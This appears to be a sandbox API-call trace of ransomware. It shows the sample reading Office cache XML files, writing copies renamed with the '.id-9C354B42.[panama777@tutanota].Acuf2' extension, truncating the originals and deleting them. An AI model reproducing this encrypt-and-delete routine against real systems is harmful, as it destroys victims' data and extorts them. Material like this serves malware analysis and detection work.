	[0038.581] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1
	[0038.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0038.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0038.582] lstrlenW (lpString=".doc") returned 4
	[0038.582] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.582] lstrlenW (lpString=".docx") returned 5
	[0038.582] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.582] lstrlenW (lpString=".pdf") returned 4
	[0038.582] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.582] lstrlenW (lpString=".xls") returned 4
	[0038.582] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.582] lstrlenW (lpString=".xlsx") returned 5
	[0038.582] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0038.582] lstrlenW (lpString=".ppt") returned 4
	[0038.582] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0038.582] lstrlenW (lpString=".zip") returned 4
	[0038.582] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.582] lstrlenW (lpString=".rar") returned 4
	[0038.582] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.582] lstrlenW (lpString=".bz2") returned 4
	[0038.582] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.582] lstrlenW (lpString=".7z") returned 3
	[0038.582] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0038.582] lstrlenW (lpString=".dbf") returned 4
	[0038.582] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0038.582] lstrlenW (lpString=".1cd") returned 4
	[0038.582] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0038.583] lstrlenW (lpString=".jpg") returned 4
	[0038.583] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0038.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0038.583] lstrlenW (lpString=".doc") returned 4
	[0038.583] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.583] lstrlenW (lpString=".docx") returned 5
	[0038.583] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.583] lstrlenW (lpString=".pdf") returned 4
	[0038.583] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.583] lstrlenW (lpString=".xls") returned 4
	[0038.583] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.583] lstrlenW (lpString=".xlsx") returned 5
	[0038.583] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0038.583] lstrlenW (lpString=".ppt") returned 4
	[0038.583] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0038.583] lstrlenW (lpString=".zip") returned 4
	[0038.583] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.583] lstrlenW (lpString=".rar") returned 4
	[0038.583] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.583] lstrlenW (lpString=".bz2") returned 4
	[0038.583] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.583] lstrlenW (lpString=".7z") returned 3
	[0038.583] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0038.583] lstrlenW (lpString=".dbf") returned 4
	[0038.583] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0038.583] lstrlenW (lpString=".1cd") returned 4
	[0038.583] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.584] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0038.584] lstrlenW (lpString=".jpg") returned 4
	[0038.584] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.584] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.584] lstrlenW (lpString="OneNoteMUI.xml") returned 14
	[0038.584] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0038.585] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1606) returned 1
	[0038.585] CloseHandle (hObject=0x19c) returned 1
	[0038.585] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020
	[0038.585] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.585] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0038.585] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.585] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.585] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0038.585] GetLastError () returned 0x0
	[0038.585] ReadFile (in: hFile=0x19c, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x646, lpOverlapped=0x0) returned 1
	[0038.874] WriteFile (in: hFile=0x1a0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x650, lpOverlapped=0x0) returned 1
	[0038.875] ReadFile (in: hFile=0x19c, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.875] WriteFile (in: hFile=0x1a0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0038.875] SetEndOfFile (hFile=0x1a0) returned 1
	[0038.875] CloseHandle (hObject=0x1a0) returned 1
	[0038.876] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.876] SetEndOfFile (hFile=0x19c) returned 1
	[0038.877] CloseHandle (hObject=0x19c) returned 1
	[0038.877] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.877] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1
	[0038.877] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0038.877] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0038.877] lstrlenW (lpString=".doc") returned 4
	[0038.877] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.877] lstrlenW (lpString=".docx") returned 5
	[0038.877] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.877] lstrlenW (lpString=".pdf") returned 4
	[0038.877] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.877] lstrlenW (lpString=".xls") returned 4
	[0038.877] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.878] lstrlenW (lpString=".xlsx") returned 5
	[0038.878] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0038.878] lstrlenW (lpString=".ppt") returned 4
	[0038.878] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.878] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0038.878] lstrlenW (lpString=".zip") returned 4
	[0038.878] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.878] lstrlenW (lpString=".rar") returned 4
	[0038.878] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.878] lstrlenW (lpString=".bz2") returned 4
	[0038.878] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.878] lstrlenW (lpString=".7z") returned 3
	[0038.878] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.878] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0038.878] lstrlenW (lpString=".dbf") returned 4
	[0038.878] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.878] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0038.878] lstrlenW (lpString=".1cd") returned 4
	[0038.878] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.878] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0038.878] lstrlenW (lpString=".jpg") returned 4
	[0038.878] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.878] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0038.878] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0038.878] lstrlenW (lpString=".doc") returned 4
	[0038.878] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.878] lstrlenW (lpString=".docx") returned 5
	[0038.878] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.878] lstrlenW (lpString=".pdf") returned 4
	[0038.878] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.878] lstrlenW (lpString=".xls") returned 4
	[0038.879] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.879] lstrlenW (lpString=".xlsx") returned 5
	[0038.879] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0038.879] lstrlenW (lpString=".ppt") returned 4
	[0038.879] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0038.879] lstrlenW (lpString=".zip") returned 4
	[0038.879] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.879] lstrlenW (lpString=".rar") returned 4
	[0038.879] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.879] lstrlenW (lpString=".bz2") returned 4
	[0038.879] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.879] lstrlenW (lpString=".7z") returned 3
	[0038.879] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0038.879] lstrlenW (lpString=".dbf") returned 4
	[0038.879] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0038.879] lstrlenW (lpString=".1cd") returned 4
	[0038.879] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77
	[0038.879] lstrlenW (lpString=".jpg") returned 4
	[0038.879] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.879] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.879] lstrlenW (lpString="OfficeMUI.xml") returned 13
	[0038.879] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.923] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=5557) returned 1
	[0038.923] CloseHandle (hObject=0x168) returned 1
	[0038.923] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020
	[0038.923] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.923] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.923] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.923] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.923] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0038.924] GetLastError () returned 0x0
	[0038.924] ReadFile (in: hFile=0x168, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x15b5, lpOverlapped=0x0) returned 1
	[0038.952] WriteFile (in: hFile=0x160, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x15c0, lpOverlapped=0x0) returned 1
	[0038.953] ReadFile (in: hFile=0x168, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.953] WriteFile (in: hFile=0x160, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0038.953] SetEndOfFile (hFile=0x160) returned 1
	[0038.953] CloseHandle (hObject=0x160) returned 1
	[0038.955] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.955] SetEndOfFile (hFile=0x168) returned 1
	[0038.956] CloseHandle (hObject=0x168) returned 1
	[0038.956] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.956] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1
	[0038.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0038.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0038.956] lstrlenW (lpString=".doc") returned 4
	[0038.956] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.957] lstrlenW (lpString=".docx") returned 5
	[0038.957] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.957] lstrlenW (lpString=".pdf") returned 4
	[0038.957] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.957] lstrlenW (lpString=".xls") returned 4
	[0038.957] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.957] lstrlenW (lpString=".xlsx") returned 5
	[0038.957] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0038.957] lstrlenW (lpString=".ppt") returned 4
	[0038.957] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0038.957] lstrlenW (lpString=".zip") returned 4
	[0038.957] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.957] lstrlenW (lpString=".rar") returned 4
	[0038.957] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.957] lstrlenW (lpString=".bz2") returned 4
	[0038.957] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.957] lstrlenW (lpString=".7z") returned 3
	[0038.957] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0038.957] lstrlenW (lpString=".dbf") returned 4
	[0038.957] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0038.957] lstrlenW (lpString=".1cd") returned 4
	[0038.957] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0038.957] lstrlenW (lpString=".jpg") returned 4
	[0038.957] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0038.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0038.958] lstrlenW (lpString=".doc") returned 4
	[0038.958] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.958] lstrlenW (lpString=".docx") returned 5
	[0038.958] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0038.958] lstrlenW (lpString=".pdf") returned 4
	[0038.958] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.958] lstrlenW (lpString=".xls") returned 4
	[0038.958] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.958] lstrlenW (lpString=".xlsx") returned 5
	[0038.958] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0038.958] lstrlenW (lpString=".ppt") returned 4
	[0038.958] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0038.958] lstrlenW (lpString=".zip") returned 4
	[0038.958] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.958] lstrlenW (lpString=".rar") returned 4
	[0038.958] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.958] lstrlenW (lpString=".bz2") returned 4
	[0038.958] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.958] lstrlenW (lpString=".7z") returned 3
	[0038.958] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0038.958] lstrlenW (lpString=".dbf") returned 4
	[0038.958] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0038.958] lstrlenW (lpString=".1cd") returned 4
	[0038.958] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76
	[0038.958] lstrlenW (lpString=".jpg") returned 4
	[0038.958] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.959] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.959] lstrlenW (lpString="OfficeMUISet.xml") returned 16
	[0038.959] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.959] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=819) returned 1
	[0038.959] CloseHandle (hObject=0x168) returned 1
	[0038.959] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020
	[0038.959] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.959] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.959] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.959] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.959] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0038.960] GetLastError () returned 0x0
	[0038.960] ReadFile (in: hFile=0x168, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x333, lpOverlapped=0x0) returned 1
	[0038.961] WriteFile (in: hFile=0x160, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x340, lpOverlapped=0x0) returned 1
